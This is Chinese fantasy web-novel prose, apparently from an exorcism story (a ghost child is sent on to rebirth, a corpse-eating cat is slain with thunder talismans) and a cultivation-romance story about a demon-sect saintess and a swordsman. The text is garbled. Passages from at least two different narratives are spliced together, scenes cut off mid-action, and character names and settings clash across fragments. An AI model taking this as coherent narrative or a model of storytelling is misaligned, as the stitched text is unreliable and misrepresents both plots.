可很快,姜桡脸上就露出狐疑的神情,她歪着脑袋打量几眼贺千宸。 “你是怎知晓的?” 贺千宸侧目,在对上姜桡的质疑目光后,满脸无辜。 “不知为何,你询问时,便不由自主地说了出来。” 姜桡紧紧抿着唇,在看不出贺千宸有什么异样后,才将目光转向被困在牢笼中地殇魂,既是可入六道轮回,那自己是不是能将其超度呢? 而就在这时,孙氏走了过来。 “姜姑娘,你去帮帮那孩子吧。” 这时附身在油纸伞的王小虎听到阿娘的声音后,十分急迫的想从伞中出来。 姜桡垂眸看了眼那在地上滚来滚去的油纸伞后。 “你可知,它差点害死你儿子。” 并不知情的孙氏脸色瞬间变的苍白,想说出来的话也卡在嘴边没有开口,她虽心疼那孩子的过去,但一想到他差点害死小虎,仅有的心疼瞬间变成了憎恨。 “是不是杀了它,小虎才会回来?” 姜桡并未对孙氏态度转变而感到诧异,以往跟师傅去驱邪时,见过的场面可比这还要精彩万分。 “小虎没事,等我超度它,就给小虎叫魂。” 孙氏这才放下心里,苍白的脸上也多了几分红润,只是在听到要超度那孩子,忍不住小声嘀咕。 “你们走后,我不知怎么的睡了过去,然后做了一个梦。” “我梦见有个孩子在海边上捡贝壳,后不知怎么的,突被涨上来的浪花给卷走,在被卷走的瞬间,我便听见有一妇人唤小琅这个名字,唤他回家,唤他吃饭,那声音越来越焦急。” 随即孙氏话锋一转。 “方才我是瞎了眼,竟会心疼他。” “早知晓是他害了小虎,让他被那烈火烧死才好。” 姜桡先是沉默片刻,才开口道:“待我超度它,入了那六道轮回,它所做的恶事,自会得到惩罚。” 孙氏闻言,这才没吭声。 姜桡走上前,看着被困在火笼中的那只恢复五官的殇魂,右手捏手诀。 “破!” 话音落后,火牢瞬间消散的无影无踪,而那只殇魂正呆站在原地,青灰色的婴儿肥脸上露出迷茫的神情。 姜桡这才看清楚这只殇魂真正的样子,它头顶着用红色线绑的两个揪揪,身上穿着用针线绣的“虎镇五毒”的红色小肚兜,胖乎乎又呈青灰色的脚丫子没有穿鞋,那脚指头正上下动来动去,似是青灰色的小虫子般。 她故意放低声音:“小琅?” 听到有人唤自己的名讳,小琅歪着脑袋,那双漆黑的小眼珠子更是疑惑的盯着眼前陌生的女人。 姜桡继续道:“你愿去往生吗?” 小琅抿着唇,随即小心翼翼问道:“去了往生是不是就能找到阿娘,小琅本想捡个好看的贝壳给阿娘的,可是贝壳不见了,阿娘也不见了。” 姜桡看小琅的样子,体型跟王小虎差点大小,那可怜的小模样,也怪不得当阿娘的孙氏会心软。 “去了往生,小琅就能找到阿娘。” 话音落后,小琅小小的身子开始慢慢化为点点荧光,在彻底消失的瞬间,小琅似是瞧见阿娘正朝自己走来。 也不知何时。 笼罩在黑河村这场雨彻底停了,原本弥散在空气中那股腥臭的气味也消失不见,随着一阵清风袭来,鼻尖闻的是那淡淡的青草香与泥土的气息。 姜桡侧目看向不远处被王小虎附身的的油纸伞,还有眉眼低垂,透着孤冷的贺千宸,她不由幽幽的叹口气。 贺千宸点点头:“只有选择正确路线,才能找到出口。” 话音落后,他也觉得有些不对。 毕竟每次找到出口,却又回到了起点。 贺千宸离开明白阿桡的意思。 “你是说选死路?” 姜桡那双漂亮的杏眼,正亮晶晶的看向贺千宸,她开口说道。 “既每次选择正确路线,都办法离开这座鬼宅,如果这次选择死路,结局会不会有所不同?” 贺千宸很认真的思索片刻。 “可若死路危机重重呢?” 姜桡想都没想,就道:“那我们便一起闯过去,将那死路铺成活路。” 这话让贺千宸眼底不由盛满笑意,他嘴角微微向上仰起。 “好!” 第 35 章 第三十五章 对于选择死路,许念也没什么意见,她相信姜姐姐,相信她是不会害自己。 姜桡忽想起跟在身后的两名年轻男子,她侧过身说明情况。 随即问道:“你们还要跟过来吗?” 姜桡不确定选择死路后,那条路上有怎样的危机,所以要先说清楚较好。 若他们不愿跟过来,而且选择别的路,那便各走各的,互不干涉。 刚刚的谈话两人也是听得清清楚楚,什么死路什么活路。 他们犹豫片刻,很快就出现了分歧,一人想继续跟在高人身后,一人却想走向所谓的活路。 后者觉得,选死路那就是在找死。 李广之所以为觉得不对劲,是因为棺材侧身有个不易察觉的小洞口,他差点没被里面冒出的作呕的尸臭味给熏吐过去。 这韩员外如此有钱,怎会给自己亲娘用破洞棺材,肯定是有人故意为之。 姜桡连忙走上前查看李广所指的地方,似是想到什么,迅速查看棺材上的钉子数量,应是七颗钉子的,如今却只有六颗,其中有一颗应是被人故意给取走了。 她抬头看向脸色不是很好看的韩员外:“你是不是有仇家?” 韩员外不由叹口气:“这做生意的,怎会没仇家。” 姜桡垂眸,紧紧的盯着那小洞口,突然瞥见一抹猩红色,那抹猩红色很快就隐匿不见,紧接着棺材内再次传来咀嚼吞咽的口水声。 她知道,再不开棺,麻烦要大了。 棺材上七颗钉子本对应北斗七星,除了预示人丁兴旺之意,其中也起一个镇魂作用。 如今少了一个,北斗阵被破,人丁兴旺自是人丁衰弱,镇魂成了汇阴聚魂。 可这不是最麻烦的,麻烦的是里面有别的东西。 这银子要少了! 姜桡不敢耽误,叮嘱让李广跟陈千峰加快速度取钉,并在取完的瞬间,迅速朝后退去。 在钉子全都取出来后,李广跟陈千峰几乎是撒丫子跑开。 没有钉子的束缚,棺材盖被里面的东西撞的“砰砰”响,一股无法言语的尸臭味弥散开来,这让不少人都避到厅外,唯有贺千宸不动如山的站在原地,神色不明的盯着全身都紧绷的姜桡。 姜桡目光警惕的盯着已经挪开一角的棺材盖,不敢有一丝松懈,而棺材内的东西似是也知晓,外面的人不好对付,竟开始安静下来。 若这样僵持下去,怕是要等到天黑,那里头的东西才愿出来。 可若姜桡先出手的话,定是会毁坏老夫人的尸首,韩家人怕是要记恨上她。 不过从刚刚听到的声音来判定,老夫人的尸首怕已是被啃咬的面目全非,血肉模糊。 想到这,姜桡决定把决定权交给韩员外。 “韩员外,我先动手的话,棺材里的尸首怕是保不住,我如果不动手,就这般僵持,棺材里头的东西估计会越发厉害。” 姜桡这些话并非是危险耸听,这具棺材已是汇阴聚魂之地,里面东西窝的时间越久,对她越是不利。 尤其等太阳落下山后。 韩员外微微征住,随即露出一副大义凛然的神情。 “为众人安危着想,我只能当个不孝子。” 话音刚落,韩琴眼尖便瞧见棺材中露出的一张熟悉且惊悚的脸,本死去的老夫人左脸大部分竟成猫脸,上面黑色的细绒毛发看得清清楚楚,那人脸的眼眶部分深陷,如同黑洞,而猫脸眼眶部分,是一只绿油油的竖瞳,此时正死死的盯着她。 这一幕是如此的诡异且恐怖,以至于韩琴那凄厉的尖叫声卡在喉咙处,怎么也喊不出声,尤其在瞥见老夫人冲着她缓缓扬起嘴角的瞬间,两眼一翻,彻底晕死过去。 胡娘见状,惊呼的扑过去,声音娇柔且焦急:“姜大师,我儿这是怎么了?” 姜桡并未瞧见那一幕,见韩琴晕死过去,只以为是八字较轻,承受不住厅内的阴气。 “让侍女搀扶到外面晒晒太阳就行。” 胡娘点点头,并喊来躲在外面的侍女,将韩琴给搀扶到外头。 还没等侍女们走近,一抹黑影便迅速从棺材中窜了出来,朝着厅外方向跃去,姜桡可是一直盯着棺材的方向,黑影窜出的瞬间,立即大喝一声。 “八方符灵听我令,御雷凝箭!” 而由紫色雷电凝成的羽箭迅速的从的五张黄符中间射了出来,“叮叮叮”的钉入黑影面前,封住它的去路,而其他的羽箭也随之落在黑影的身侧,并将其围在其中。 若是普通的羽箭,这东西早就轻松的跃过去。 但这些羽箭全身包裹着紫色的雷电,雷电之间相互碰撞连接,形成一座紫色雷电的笼子。 与此同时,众人也瞧见那抹黑影的样子。 那是一只黑猫,弓起身子,全身炸毛,正冲着姜桡恶狠狠的哈着气,锋利的尖牙还挂着丝丝血肉,最为奇怪的是,这种黑猫的眼睛同其他猫不同,竟是血红色。 姜桡只是看上一眼,就知晓这只猫躲在棺材里头,已经逐渐成了精怪,若再不解决的话,日后怕是要吃活人血肉。 她右手手诀不变,只是开口道。 “聚!” 困住黑猫的羽箭迅速紧靠收缩,只听一声凄厉刺耳的猫叫声,那只黑猫被发出“噼啪”声响的紫色雷电给挤成一团黑气,最后消散在众人的视野中。 见状,韩家等人才松口气。 解决完差点化为精怪的黑猫,姜桡正准备上前差点韩老夫人的尸首时,却被上前的韩员外给阻拦住。 “姜大师,我阿娘生前最注意仪容,她尸身怕是被那只该死的畜生啃咬得不成人样,定是不想被人瞧见,还望谅解。” 姜桡怎会听不出来韩员外这话中有话,她只能装糊涂,在离开时瞥了眼面前的棺材,这里头肯定藏有猫腻,也不知道是不是跟殇魂有关系。 韩员外让几名侍从过来,将棺材盖给盖回去,方才被吓的脸色的侍从们犹豫许久,都没敢朝前踏上一步。 这让站在厅外的韩青冷哼一声,对着那些胆怯的侍从骂道:“那畜生已被姜姑娘给打死了,你们还有什么好怕的。” 犹豫半响,几名胆大的侍从才走上前,用力搬动棺材盖将其盖回去,他们纷纷闭上眼,屏住呼吸,其中一名年纪较小的侍从,忍不住好奇心将眼睛张开一条缝,在看清棺材小部分惨状后,只觉胃中一阵翻江倒海。 姜桡轻轻拽着贺千宸的袖子站在厅外,等温暖的日光驱散身上的阴冷气息后,才开始小声嘀咕着。 “那韩员外肯定瞒了很多事情,咱们得小心。” 贺千宸侧目看着姜桡那蹙眉抿唇的摸样,半响,才轻轻开口:“好。” 这时李广小跑到两人面前,漆黑的眸子中露出无比崇拜的神情,目光直勾勾的盯着姜桡。 “姜姐,方才你那招真是太厉害了。” 杨镖头等人也赶了过来,他双手抱拳,带着歉意赔罪:“是我小看姜姑娘的本领,若当时听劝的话,大家也不会遭遇这邪乎的事。” 姜桡连忙摆手,随即开口叮嘱:“眼下趁雾气还没将茶庄笼罩,大家多晒晒太阳,夜里聚在一起也别单独行动。” 她既拿了杨镖头的二十两银子,答应护住他们的安危,自然是要讲诚信。 李广忍不住问道:“姜姐,为什么要多晒太阳呀?” 姜桡解释:“方才厅内阴寒之气过重,大家身上多多少少附带了些,这阴寒之气过重易遭邪祟蛊惑,唯有晒太阳才可驱散。” 众人似懂非懂的点点头,然后一个一个排排站在那晒起了太阳。 姜桡拽着贺千宸准备回到之前的院中,她也不能闲着,得画更多的符护身才行,且不说棺材中少颗钉子,棺材内更藏有猫腻,可无论是哪一种,都证明韩家人有问题。 关键最大的隐患殇魂,是半点线索都没。 头痛! 这姜桡刚抬腿,就被身后的韩青给拦住了去路。 “姜大师。” 韩青居高临下的看着眼前的女人,似是想到什么有意思的事情,嘴角上扬:“你方才施展的雷符可卖?” 有挣钱的生意,姜桡怎会错过。 “卖呀。” 韩青价格也不问,十分阔气道:“我要十张!” 姜桡有些狐疑的瞥了眼韩青,语气忍不住兴奋了起来。 “好呀!一百两!” 韩青整个人顿住,许是没想到十张黄符价格会这般昂贵,而站在旁侧的李广更是不可思议的看向姜桡,心里头感动坏了。 姜姐对他可真好! 李广决定了,从今往后要把姜姐当亲姐来对待。 姜桡的狮子大张口并未劝退韩青,他思索半响:“那你在这等着,我去拿银票。” 身后的大厅内,韩员外正在楠木棺材前上香,嘴里也不知道在说些什么,丁氏与胡娘则跪在棺材前,将黄纸一张一张丢进铜盆中,两人低垂着头,看不清楚脸上情绪如何。 没多久,韩青就拿着一百两银票赶过来。 姜桡低头打开挎包,在里头挑选许久,才挑出十张出来黄符,两人一手交钱一手交货,在看到挎包中那一百二十两银子,姜桡把这辈子伤心事都想个遍,才忍住没笑出声来。 韩青打量手中看起来平平无奇的黄符:“姜姑娘不会拿假货出来糊弄我吧!” 姜桡瞬间瞪大眼睛,她气冲冲的边从挎包中拿出银票,边恼怒的喊道:“不信就把你的银票拿回去,真以为我想卖给你!” 贺千宸盯着那九张没用的废符,又垂眸将目光落在姜桡那张我十分生气的脸上,陷入了沉默。 韩青想起方才的那一幕,最终决定相信姜桡的话。 待会若是不灵,他大可过来找这个女人算账。 “没告诉我们,应是担心会影响到陆观棋!” 许念愧疚的低着头,没吭声。 姜桡其实能理解许念,毕竟每个人都会有私心。 她轻声道:“许念,我知道你担心陆观棋,可我们现在深陷泥潭,离开才是最要紧的事。” “若有下次,我就不理你了!” 许念连忙摇摇头:“不会有下次了。” 是她的错。 自己差点就拖累了姜姐姐。 姜桡忽想起刚刚要说的话,既然这是陆府,那许些事情都细思极恐。 第 36 章 第三十六章 听到这话的姜桡直接一愣,如果在走水之前,陆家所有人都死了。 她抬头看向贺千宸,轻声问道。 “那陆殊词是怎么活下来的?” “她若活下来,理应是知晓陆家走水的真相,又为何不同陆观棋说呢?” 这让贺千宸脸上不由露出疑惑的神情,沉思片刻,才猜测道。 “或许这个真相或许残忍?” 以前的姜桡或许不会懂,为何真相会残忍,可在经历上河村跟荒山的事情后,她开始懂了。 三人沉默半响,最终还是贺千宸先开口道。 “我们继续向前走吧。” 姜桡轻“嗯”了声,带着身边的许念跟在贺千宸的身后。 只是三人没有多久,原本恢复平静的水面上却出现一条锦鲤,它悄无声息的跟在身后,没多久一条锦鲤变成两条。 姜桡想了想,直接应下:“好。” 见她答应得如此迅速,游彦反而迟疑了一瞬,他打量着姜桡,问:“不问问其他的?” “不需要。”姜桡迎上他的目光,一字一句道,“青银在你手上,无论如何,我都要救她。” “……” 听到姜桡的回答,游彦当即笑道:“听你这个意思,只要能救她,你什么都愿意做,是吗?” 姜桡点头:“是。” “那好。”游彦的脸色顿时黑了下去,他背过身,冷声道,“既然做什么都可以,那便顺道再帮本座做点事。去勾引天月宗的清离,若能让他堕魔,为我所用更好。” “好。” 姜桡的回答仍是不冷不热的,而游彦也没再看她一眼,便甩袖离开。他走之后,一旁的霄月也跟了上去。直到此时,姜桡才察觉到他的存在。 临走前,霄月丢给她一个药瓶,简明扼要地介绍道:“残鹤做的,补气血。” 什么补气血?不就是为了让她“上供”给游彦的血好一点么? 姜桡握着手中的药瓶,也学他的语气:“就这一瓶?” “你还想要多少?”霄月狐疑地看她,见姜桡的目光落在一旁的青银身上,才解释道,“她没受伤,只是暂时行动受限。” “暂时行动受限?” 姜桡一字一字地重复,语气中尽是讥讽。 要是没有受伤,青银的脸色为什么会这么差?要是没有受伤,游彦他们还能用什么手段对她用下锁链,将她拷留在这里? 霄月一板一眼地回答:“是的,这是陛下的命令。” 姜桡也知道在这里为难他没有任何意义,要想解开青银身上的锁链到底还是要去找游彦。她收紧了手,不再言语。 霄月走后,姜桡才站起身,来到青银身边。她在看青银的同时,青银的目光也在一寸寸扫视着她,再次确认姜桡安然无恙后,青银才开口:“……小桡,你无需管我。” “这不可能。”姜桡斩钉截铁地告诉她,“青姨,你是我在这个世界上唯一的亲人了,我不管你,还要管谁?” 青银知道她的性子,叹一口气,也不再劝了,只提醒道:“你万事小心,如今妖魔宫的形势不太平,除了游彦,那路生也是个心坏的。” “嗯,青姨,我知道了。” 两人又说了些话,姜桡才离开。姜桡来到圣女殿时,内里空无一人,殿内外草木旺盛得过头,但姜桡此刻也没有照顾花草的心思,径自去了内殿。 她上了床,将帷幔放下,隔绝掉周围的灵识和神识。灵力在体内运转一周后,姜桡不禁蹙起眉头。 经此一险,她原先破碎的灵脉是修复好了,修为也有了提升,只是相较于之前在凡间的时候,她的神魂有些不稳。 难道是当时情形匆忙,她锻造出的凡体没有被及时收回的缘故? 如果真是这样,在去天月宗之前,姜桡必须去凡间一趟,找回那具凡体。不然,即使修为和灵脉再强劲,一旦她被敌人察觉到神魂有损,她也只剩下死路一条。 也不知道贺宸和糖圆,还有其他人现在如何了…… 只希望在她走后,他们都能过得更好,这样的话,姜桡的心里还能少一分愧疚,即便只是微不足道的的一点慰藉。 她垂下眼,眼睫隐去一点悲伤。姜桡打开那瓶丹药,随便吃了两三粒,便将丹药瓶收到储物袋中。摸索之间,姜桡竟摸出一张纸条。 打开之后,姜桡才想起,那是贺宸写给她的信笺。 “宁香阁的蜜饯果脯和桃花酿都在桌上,若是睡醒想吃,可以用些。绣花阁新进的胭脂我也买了些,都放在你的妆匣之中,还有先前定做的衣裳也悉数收好了,你有空可试试,看是否合意。另,醒来若是寻不着我,我约莫是在山上,无须担心。” 上面的字迹一如往前清晰,只是那样的日子再也回不去了。蜜饯果脯,桃花酿,胭脂,还有新衣裳,这些都不再是她姜桡的了。 姜桡眼底一热,不敢再看,匆匆忙忙地将纸条塞回去。整理好心情后,姜桡便解开帷幔,准备离开圣女殿,去找她的凡体。 殿门刚开,姜桡便看见一个人蹲在一旁的花圃边,原本杂乱无章的花草已经被修整好,甚至透露出一股被灵水浇灌后的鲜嫩。 姜桡:“……” 许是听到开门声,路生回头,一看是她,双眼顿时放亮。他随手放下灵水壶,大步朝她走来,又在距离姜桡一两步的位置停下,犹犹豫豫地伸手去碰她的脸:“……是你吗,桡桡?” 姜桡没有作答,但在路生的手即将碰到她的前一瞬,姜桡侧过脸,躲开了他的触碰。 路生的手就此落空,然而他也不气恼,只收回了手,说:“你回来了就好,是我没用,没能从游彦的手中救下你,你怪我也是应该的。” 姜桡冷眼看他表演,才一见面,路生便急着给她上眼药。姜桡并非不想找出当初要杀她的幕后真凶,但既然她现在安然无恙地回来了,背后的那个人肯定会再次动手,她只需要保护好自己和青姨,其余的事情随机应变。 不过,经历了那一回,姜桡也是万万不敢再相信路生了。认识以来,路生在她面前表现得就像是单纯无辜的幼龙崽崽,看起来毫无野心。时间长了,姜桡都忘记他是妖皇的后代,注定是与魔族,与游彦水火不相容的存在。 路生会在她面前故意装乖,或许也只是为了拉拢她,以期更好地对付游彦。 因此,无论此时路生再对她说什么,姜桡都只是轻轻地嗯一声,与他维持着表面的和平相处。 再次贴到姜桡的冷脸,路生眼圈一红,声音也有了点哽咽,他小心翼翼地说:“桡桡,你相信我,那件事不是我做的,我从来没想过要害你。” “我是对魔族有敌意,那是因为我们妖族和魔族本就是死敌,不过是因为天月宗才勉强联合在一起。我想要杀游彦,游彦也想要杀我。这是我的真心话,我只说给你听,我从来没想过害你。” 姜桡问:“难道我就不算魔族的人吗?” 她是魔族的圣女,是前一任魔族圣女和魔皇的子女,自然也是魔族中人。 “……在我心里,你不算。”路生顿了顿,“你和那些魔族人不一样,你也和我们不一样,所以我渴慕你。” 路生双眼紧紧盯着姜桡看,恍惚之间,姜桡甚至看见了他身后若隐若现的尾巴。一般来说,只有情绪非常激动或者需要本体战斗的时候,妖族的人才会显现出本体的特征来。 为了不再生事端,也为了不再继续和路生浪费时间,姜桡假装动摇,她说:“……让我想想,好吗?” 路生忙不迭道:“好!只要你愿意原谅我,我做什么都可以。” “嗯。” 姜桡正想着如何找个合理的借口甩掉他,又听路生忽而道:“这是我的护心鳞片,给你。” 甚至觉得,活下来的陆殊词,是处于某种原因,才没有告知陆观棋这个残酷的真相。 直到看到这一幕! 贺千宸看向那雾花,提醒道:“应该是这朵黑雾给予陆殊词某种力量或者能力。” 姜桡抿着唇,目光落在静静躺在孤舟上的陆殊词身上,她突然有些为难。 陆观棋还不知陆府走水真相,他现在只剩下陆殊词这个唯一的亲人。 姜桡抬头看向贺千宸,开口问道:“我们要拔掉那朵荷花吗?” 拔掉那朵荷花,也便杀死了陆殊词,杀死陆观棋唯一的亲人。 可若不拔掉的话,东都的百姓们将会被吞进这座鬼宅中,然后沉入水底,成为一座等死的金像。 忽然,躺在孤舟上的陆殊词手指微微动了动,随即缓缓的睁开了眼睛。 第 37 章 第三十七章 陆殊词坐起身,目光先看向那群游来游去的锦鲤身上, 她那没什么血色的脸上露出几分无奈,半个身子依靠在船侧边,随即把手放入水底。 只见那两条银白色的锦鲤凑上前,亲昵的围绕着那只手游动着。 陆殊词轻声问道:“为什么要引他们来这呢?明明我们一家人马上就能团聚了。” 她的语气中没有抱怨,更没有生气,依旧是满满的无奈,以及几分悲凉。 姜桡则不可置信的看向那两条银白色的锦鲤,她不蠢,从陆殊词这番话中能听的出来。 带路的两条银色锦鲤,是陆观棋跟陆殊词的爹娘! 陆殊词自言自语完后,目光才落在姜桡与贺千宸的身后。 望着贺千宸的脸,小玉顿觉一阵无力,外人看来,这些年贺千宸是越过越好,但只有他们知道,他一直深陷在当年姜糖的死中,迟迟没有走出来。 小玉甚至怀疑过,贺千宸当初选择拜入天月宗,也是为了姜糖。毕竟,在凡间,人死就是死了,不能复生。只有成了仙人,才能有让姜糖起死回生的机会。 “到时候等她养好身体,我就带着她一起来见您。”贺千宸微微一笑,“我们再在附近建一处房子,有空的时候阿庆还能来吃桂花糕,就像往日一般。” 一时之间,小玉也被带入贺千宸的美好设想中。但一听到“阿庆”的名字,小玉便出了戏。她暗暗叹一口气,十年过去,阿庆也到了快娶妻的年纪,或许再过几年,他便不爱吃桂花糕了。 时过境迁,世事无常,她和阿庆还能等到姜姑娘起死回生的那天吗?难说。 但一看见贺千宸谈起姜姑娘时,脸上流露出的笑意,还有那一抹生气,小玉便不忍再打断他,只坐在一旁静静地听着他说。最后,小玉送贺千宸离开,还是没再问起安葬姜糖的事情。 贺千宸走了,但小玉知道,他没回天月宗,而是去了那座山。 姜桡上了山,小心谨慎地来到记忆中的那处地方,却怎么也找不到那扇门,也没找到糖圆的踪迹。她心灰意冷地在四处乱转,试图做最后的一点挣扎。 十年过去了,一切都在变,惠阳镇变了,小玉姐姐也变了,这座山也变了。但对她来说,这十年不过是睡了一觉,做了一个无比漫长的梦。白云苍狗,她再也找不回从前,就像此时的她也找不回糖圆。 姜桡不是没有怀疑过,糖圆是在故意害她。但看糖圆当时的反应,又不像是在作伪,它或许只是单纯找到一个好东西,想分享给她,邀功讨赏,却没想到最后害了她的命。 姜桡拧起眉,试图回想起当时的场景,回忆起当时耳边的呓语,大脑却是一片空白,空空如也。绞尽脑汁想了半天,姜桡只从记忆深处搜刮到“命运”和“容器”这两个词语,具体的语句已然想不起来,仿佛被人刻意抹去过。 在她醒来之前,她的这具身体大约一直存放在妖魔宫,任何人都有可能对她下手,其中最具嫌疑的还是路生和游彦。 不过,当务之急还是救出青姨,其他的事情姜桡都可以徐徐而图之。毕竟,她也看到了,现在小玉姐姐他们过得很好,贺宸也拜入了天月宗,他这样的人必定活得不会差。 若是贺宸不在天月宗,姜桡或许还能想方设法见他一面,至少为他做点什么,弥补一下。可现在他们的身份已经是天然敌对的关系,或许贺宸一发现她不仅骗了他,还是个魔族圣女,会选择直接杀了她。 姜桡扯了扯嘴角,却笑不出来。 她低下头,还在思索,却突然察觉到一股强大的灵力在向她靠近。姜桡心猛然一跳,不敢轻举妄动,连忙躲了起来,小心地观察着那股灵力的动向。 几瞬后,出乎姜桡的意料,那灵力居然落在了她附近,而更让姜桡吃惊的是—— 灵力的主人居然是贺宸! 姜桡不敢闭眼,生怕错过一丝一毫的细节,她死死地盯着不宸处的人,将他从头到脚看了一遍又一遍,最后才敢确定,那人就是贺宸。 一时之间,姜桡心中百感交织,短暂的激动和惊喜过后,涌入她心间的是源源不断的无措和害怕。 她怕贺宸发现她就是姜糖,更怕贺宸发现姜糖就是她,一个骗走了他气运的魔族圣女,一个正道中人恨不得杀之而后快的恶人。 姜桡下意识地摸了摸自己的脸,直到想起自己已经用了易容丹,改换了容貌,她才微微舒出一口气,将心收了一点回去。尽管如此,姜桡还是不敢轻举妄动,毕竟从那股灵力来看,现在的贺宸修为高深。安全起见,她还是尽量避免与他发生冲突。 不过,贺宸来这里是为了什么?是为了……祭奠她吗? 姜桡宸宸望去,贺宸穿着天月宗的弟子服,身形颀长,似乎相比之前长高了不少。只不过,他看着更瘦了,眉眼之间也少了份温度。 他好像已经不是从前的贺宸了,但他一定过得很好。 姜桡咬住唇,克制住心中突如其来的那阵失落,屏息凝神,默默地观察着他。只见,贺宸也在那里绕了几圈,像是在寻找什么,却始终无果。 半晌,贺宸抬脚,身形消失不见。姜桡松口气,正准备从隐身之处走出来,却听后方倏然传来一声破空巨响,她一回头,便看见一柄剑直直地刺向她的面门。 “!” 姜桡瞪大双眼,全身都紧紧绷住,不敢放松分毫。那剑来的又猛又快,姜桡费了好一番功夫,与其在半空中来回周旋了几次,才堪堪躲过。 站定脚跟后,姜桡一边喘气,一边看见那柄剑飞回到了一个人手中。再定睛一看,姜桡看见了再熟悉不过的那张脸。 又是贺宸。 该说她不愧是乌鸦嘴吗? 之前刚想到再次见面,贺宸或许会杀了她。下一瞬,贺宸的剑果然朝着她刺过来,险些就要伤到她。 姜桡自觉讽刺,目光却扫视了贺宸一圈。离得近了,姜桡看得更为清楚和仔细,他果然又高了许多,人也瘦得不像话。衣服穿在他身上,就像是挂在一副骷髅架子上,让人惧怕。但一配上贺宸的脸,观感又变好不少。 难道天月宗都不给弟子吃饭的吗? 姜桡轻蹙眉头,却对上了贺宸冰冷的一双眼。他冷飕飕地望着她,这种眼神让姜桡感到无比陌生,她鼻头一酸,委屈极了,却又马上收起自己的小情绪,严阵以待,不敢松懈半分。 在姜桡观察贺宸的时候,他也在看她。 意料之中的,一张与姜糖有些相像的脸。 那些妖魔难道就想不出新花样了吗? 自从被他们拿到姜糖的画像,贺千宸的身边就总是会时不时出现一些与姜糖相像的女人。但贺千宸知道,那些人都不是姜糖,真正的姜糖在他的洞府中沉睡,等着有一天被他唤醒。 贺千宸不免生烦,又是一个赝品,这张脸真让他恶心。姜糖就是姜糖,独一无二的姜糖,要是她醒过来,发现有人在模仿她,她一定会很生气。 贺千宸不想让她生气,所以每一个赝品他都没有放过,这次也不应该例外。想到这,贺千宸毫不犹豫地催动了天华剑,又一次向姜桡刺过去。 姜桡吓了一跳,她有想到贺千宸可能会再次发难,但没想到如此突然,幸好她早有准备,才成功躲过这一剑。见状,贺千宸不免讶然,在这之前,几乎没有哪一个赝品可以接连躲过天华剑。 可惜,赝品终究是赝品,她碍了他和姜糖的眼,贺千宸是一定要将她除掉的。 贺千宸不发一言,接连出剑,姜桡只能继续躲。到了后面,两人不约而同地开始动用灵力,附近的树枝被他们带起的风吹得呼呼响。 姜桡受不了贺千宸一言不合就打打杀杀的作风,趁乱问他:“仙君,你为何要杀我?” “杀你,需要理由?” 姜桡点头:“需要,不然我死不瞑目,做鬼也不会放过你的。” 话语有些熟悉,这样的话姜糖也说过。她想要做什么,而他不答应的时候,姜糖就会“以死相要挟”,说做鬼也不会放过他这个冷漠无情的人。甚至在过招的一瞬间,贺千宸看见了姜糖的脸。他垂下眼,终于回答:“他们派你过来,不就是为了送死?” 他们?哪个他们? 姜桡喘着气,一边躲,一边嚷嚷:“什么他们?我不是谁派来的,我只是一介散修,无意冒犯仙君啊。” “散修?”贺千宸不信,“那你来这里做什么?” 他的剑出的越来越快,姜桡根本来不及思考,只能随口扯谎:“……为了清离,为了清离仙君!” 出乎姜桡的意料,贺千宸握着剑的手顿了顿,悬在她耳边。 贺千宸则轻声安慰道:“阿桡,这不是你的过错。” 随即他看向眼前的的雾。 “若进不去,我便替你劈开!” 许念也轻轻扯了扯姜姐姐的衣角。 “姜姐姐,很好。” 在许念看来,姜姐姐那不是叫做心软,而是怜悯。 就像当初,姜姐姐不会嫌弃自己又脏又臭,并将其搂入怀里安慰。 那是许念从未体验过的温暖。 听着两人的安慰,姜桡心里好受了许些,她并没有继续自责下去,而且抬起头,伸手指向将东都城笼罩其中的黑雾 “既然不让我们进去,那就劈开它!” 姜桡给了陆殊词的选择,她既然放弃,姜桡也没必要心慈手软。 第 38 章 第三十八章 粘稠的黑雾将这东都城裹得严严实实,姜桡直接唤出玉埙。 厚重苍茫的埙声响起,点点金光漂浮在半空,最终凝聚成一个宫字。 宫属土,君之象,又为五音之首。 随着杀意四溢,贺千宸眼底都露出诧异的神色,许是没想到音修竟能有如此大的威慑力。 姜桡这是第一次用杀招,多多少少有点小心翼翼,没有敢彻底释放出来。 在最后这个音律落下的瞬间,“宫”字融化并凝聚成一根硕大且锋利的箭羽,直接朝着黑雾所在的方向飞了过去。 贺千宸当然不会允许,无论是靠近他,还是对天月宗不利。贺千宸对天月宗并无归属感,但只要掌门一日不将秘宝交给他,姜糖一日不醒,贺千宸便不可能眼睁睁看着妖魔宫入侵天月宗。 贺千宸盯着姜桡看的时间有点久,久到在场人都意识到不对劲,纷纷转而看向两位当事人。 姜桡额角当即突突直跳,她抱紧糖圆,默默千祷它不要再对自己过分亲昵。紧接着,姜桡便摸了摸糖圆光滑的毛发,若无其事道:“是吗?那看来我这个名字起的确实不错。” “不过,既然这只猫是这位贺师兄的爱宠,它总该与主人最亲近,与旁人不过是一时新鲜罢了。”姜桡扬起一抹笑,揪了揪糖圆的小猫爪,凑过去逗它,“是不是呀,小猫咪?” 糖圆自顾自地窝在姜桡怀中,舒服地喵了一声,姿态很是惬意。 没想到,听到她的话,赵元珍和王复一的神情更复杂了,姜桡被看得头皮发麻,却不知道自己到底做错了什么。 “这猫不是我的,是我妻子的,我不过是代养而已。” 贺千宸挪开了眼,一切都归于平静,声音也是一贯冷淡的腔调。 贺千宸如此坦然,倒让姜桡吃了一惊。她原以为姜糖死后,贺宸便已经将她抛之脑后,准备另寻新欢了。毕竟,在修仙者漫长的人生中,他和她一起度过的那几年只是沧海一粟,不足挂耳。 姜桡瞄了一眼他身边的赵元珍,她心思浅,喜怒哀乐全都表现在脸上,单纯得可爱。此时听到贺宸提起他的妻子,赵元珍不满地嘟起嘴,但都没将情绪发泄起来,一个人生着闷气。 姜桡想,她果然喜欢贺宸。 师兄妹吗?大抵又是一段佳话。 姜桡胸口发闷,以为是糖圆在往她怀中拱,低下头却看见糖圆乖乖地窝着,没有压到她的心口。姜桡垂下眼,眼睫隐去多余的情绪,她吃惊地问,心却静得可怕:“妻子?没想到这位师兄已经有道侣了?” 就当她嫉妒作祟,尖酸刻薄,看不得贺宸另寻他人吧。 林不语倒吸一口凉气,完全没意料到小米姑娘如此直白,一来就在贺千宸的伤口上反复撒盐。他闭了闭眼,试图说点什么敷衍过去,却又无能为力,只能拼命朝王复一使眼神求救。 小米姑娘是无心冒犯,贺千宸应该还有点人性,懂得不知者无罪的道理……吧? 